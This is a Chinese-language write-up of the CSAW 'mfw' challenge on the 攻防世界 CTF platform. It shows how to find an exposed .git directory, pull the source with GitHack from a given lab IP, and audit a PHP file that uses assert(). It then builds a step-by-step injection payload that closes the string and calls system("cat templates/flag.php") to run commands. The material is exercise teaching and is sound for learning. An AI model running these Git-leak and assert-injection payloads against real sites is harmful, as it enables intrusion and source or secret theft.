[CSAW/网络安全] Git泄露+命令执行 攻防世界 mfw 解题详析

Home界面:


Home界面翻译如下:

欢迎访问我的网站!

我自己从头开始写的!

您可以使用上面的链接浏览页面!


About界面:

观察到Git ,联想Git泄露

Git泄露

Git是一个非常流行的开源分布式版本控制系统,它被广泛用于协同开发和代码管理。许多网站和应用程序都使用Git作为其代码管理系统,并将其部署到生产环境中以维护其代码库。

然而,在配置不当的情况下,可能会导致.git文件夹被直接部署到线上环境中,这可能会导致Git泄露问题。

此时可使用githack等工具下载站点存储库的整个代码历史记录和配置信息。

漏洞利用

通过枚举工具或搜索引擎来查找带有.git文件夹的存储库,以获取包含未加密密码、凭据和敏感信息的站点代码库。

如GET/.git以确认是否存在git泄露

查看是否存在Git漏洞

Payload:/.git

由上图,存在Git漏洞。

下载泄漏文件

利用python的githacker库下载泄露文件


GitHack的安装本文不再赘述

详情参考: Python/网络安全 Git漏洞之Githack工具基本安装及使用详析


打开Githack,输入Payload:
python GitHack.py http://61.147.171.105:61017/.git

得到文件

代码审计

其中,index.php文件存在以下代码:

复制代码
<?php
 
if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}
//传入page参数,如果没有,则设置为home
           
$file = "templates/" . $page . ".php";
//将page参数拼接成一个templates下的php文件,设置为变量file
 
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判断file中是否有 ..  如果有则直接退出 这是为了防止目录遍历
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")
//检查指定的文件是否存在。如果文件不存在,将抛出另一个断言错误并停止脚本的执行。
?>

姿势

由于该代码仅对目录遍历进行防范,因此可构造POC,执行系统命令。

由于下载得到的文件中,templates目录路径下含有flag.php,故应读取该文件中内容

构造POC如下:

复制代码
?page=qiu or system("cat templates/flag.php");

由于qiu参数不存在,page=qiu返回false 可利用or执行system函数

同时观察到该行代码:

复制代码
assert("strpos('参数', '..') === false")

如果将上面的POC传入,则变为

复制代码
assert("strpos('qiu or system("cat templates/flag.php");', '..') === false") 

qiu未被括号闭合,该语句注入不成功

重新构造POC如下:

复制代码
?page=qiu') or system("cat templates/flag.php");

则语句变为:

复制代码
assert("strpos('qiu') or system("cat templates/flag.php");', '..') === false") 

再用//将后面的语句注释掉即可

构造POC如下:

复制代码
?page=qiu') or system("cat templates/flag.php");//

则语句变为:

复制代码
assert("strpos('qiu') or system("cat templates/flag.php");//', '..') === false") 

最后的语句如下:

复制代码
assert("strpos('qiu') or system("cat templates/flag.php");

即可实现命令的成功执行:

总结

该题考察Git泄露之存储库读取姿势代码审计命令执行,读者可躬身实践。

相关推荐
wanhengidc2 小时前
服务器租用有何优点
运维·服务器·安全·web安全
csdn_aspnet2 小时前
Gemini赋能安全工程师,自动写PoC脚本,探索Gemini在网络安全领域辅助漏洞验证与POC生成的实战路径
安全·web安全·prompt·poc·gemini·工程师
Chengbei113 小时前
一站式源码安全检测工具、云安全 / APP / 小程序源码敏感信息递归多层目录扫描AK、JWT、手机号、身份证等敏感信息
java·开发语言·安全·web安全·网络安全·系统安全·安全架构
Ws_5 小时前
Git + Gerrit 第二课:diff、暂存区与撤销修改
git
小江的记录本5 小时前
【JVM虚拟机】垃圾回收GC:垃圾回收算法:标记-清除、标记-复制、标记-整理、分代收集(附《思维导图》+《面试高频考点清单》)
java·jvm·后端·python·算法·安全·面试
snowjlz6 小时前
鸿蒙版SVN来了!!!
git·svn·版本控制
超梦dasgg7 小时前
Java 生产环境第三方对接安全保障方案
java·开发语言·安全
IAR Systems7 小时前
软件定义汽车:构建更安全、更智能的汽车应用软件
安全·汽车·嵌入式·iar
2401_876964137 小时前
27考研余炳森概率论|喻老李良2027资料网课
windows·git·考研·svn·eclipse·github·概率论
介一安全8 小时前
【漏洞学习】PHP+Windows环境通用文件上传漏洞深度剖析
windows·web安全·php·文件上传·安全性测试